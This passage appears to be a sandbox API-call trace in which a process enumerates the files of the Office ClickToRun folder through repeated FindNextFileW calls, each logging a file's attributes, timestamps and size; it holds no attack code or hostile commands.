ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x42605d0 [0089.102] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0089.102] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf6c42af, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81028f76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x81028f76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ClickToRun", cAlternateFileName="CLICKT~1")) returned 1 [0089.102] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0089.102] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\*", lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf6c42af, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81028f76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x81028f76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260710 [0089.103] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf6c42af, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81028f76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x81028f76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.104] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x809e6bf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x809e6bf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="API-MS~1.DLL")) returned 1 [0089.104] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x809e6bf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x809e6bf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1 [0089.104] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="API-MS~3.DLL")) returned 1 [0089.104] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="API-MS~4.DLL")) returned 1 [0089.104] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="APF10C~1.DLL")) returned 1 [0089.105] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="AP7902~1.DLL")) returned 1 [0089.105] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="APA632~1.DLL")) returned 1 [0089.105] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="AP5C76~1.DLL")) returned 1 [0089.105] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x58c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="APFD9C~1.DLL")) returned 1 [0089.105] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="APC00F~1.DLL")) returned 1 [0089.105] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x50c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="AP0479~1.DLL")) returned 1 [0089.106] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="AP23C9~1.DLL")) returned 1 [0089.106] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="APCB40~1.DLL")) returned 1 [0089.106] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="APAE51~1.DLL")) returned 1 [0089.106] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x68c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="AP972F~1.DLL")) returned 1 [0089.106] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="AP7D9E~1.DLL")) returned 1 [0089.106] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="APFCAD~1.DLL")) returned 1 [0089.107] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x5ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="AP8F34~1.DLL")) returned 1 [0089.107] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="APD1B7~1.DLL")) returned 1 [0089.107] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="APBF0F~1.DLL")) returned 1 [0089.107] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="AP5E4C~1.DLL")) returned 1 [0089.107] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="AP80F4~1.DLL")) returned 1 [0089.108] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb979f700, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x27c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApiClient.dll", cAlternateFileName="APICLI~1.DLL")) returned 1 [0089.108] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9bc01200, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0xa02d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVCatalog.dll", cAlternateFileName="APPVCA~1.DLL")) returned 1 [0089.108] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x1f5ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="appvcleaner.exe", cAlternateFileName="APPVCL~1.EXE")) returned 1 [0089.108] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a330a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a330a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x4b0d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVFileSystemMetadata.dll", cAlternateFileName="APPVFI~1.DLL")) returned 1 [0089.109] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a330a6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a330a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x2052d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIntegration.dll", cAlternateFileName="APPVIN~1.DLL")) returned 1 [0089.109] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a59305, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a59305, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x726d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIsvApi.dll", cAlternateFileName="APPVIS~1.DLL")) returned 1 [0089.109] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a7f55d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a7f55d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe1b7300, ftLastWriteTime.dwHighDateTime=0x1d0d7a5, nFileSizeHigh=0x0, nFileSizeLow=0x60ea0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppvIsvStream32.dll", cAlternateFileName="APPVIS~2.DLL")) returned 1 [0089.109] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a7f55d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a7f55d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb5e67000, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x73aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppvIsvStream64.dll", cAlternateFileName="APPVIS~3.DLL")) returned 1 [0089.109] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a7f55d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a7f55d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x336d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIsvStreamingManager.dll", cAlternateFileName="APPVIS~4.DLL")) returned 1 [0089.109] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80aa57b9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80aa57b9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x1566d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIsvSubsystemController.dll", cAlternateFileName="AP213A~1.DLL")) returned 1 [0089.110] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80aa57b9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80aa57b9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x18d60800, ftLastWriteTime.dwHighDateTime=0x1d0d7a5, nFileSizeHigh=0x0, nFileSizeLow=0x1ae0a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppvIsvSubsystems32.dll", cAlternateFileName="AP3342~1.DLL")) returned 1 [0089.110] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80acba0b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80acba0b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbbdc5100, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x22e0a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppvIsvSubsystems64.dll", cAlternateFileName="AP4400~1.DLL")) returned 1 [0089.110] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80af1c6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80af1c6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x8a8d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIsvVirtualization.dll", cAlternateFileName="AP485B~1.DLL")) returned 1 [0089.110] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80af1c6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80af1c6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x12cad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVManifest.dll", cAlternateFileName="APPVMA~1.DLL")) returned 1 [0089.110] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b17ebf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b17ebf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0xe76d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVOrchestration.dll", cAlternateFileName="APPVOR~1.DLL")) returned 1 [0089.110] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b17ebf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b17ebf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9cf13f00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x13c4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVPolicy.dll", cAlternateFileName="APPVPO~1.DLL")) returned 1 [0089.111] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b17ebf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b17ebf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9e226c00, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x7d0d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVScripting.dll", cAlternateFileName="APPVSC~1.DLL")) returned 1 [0089.111] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b3e121, 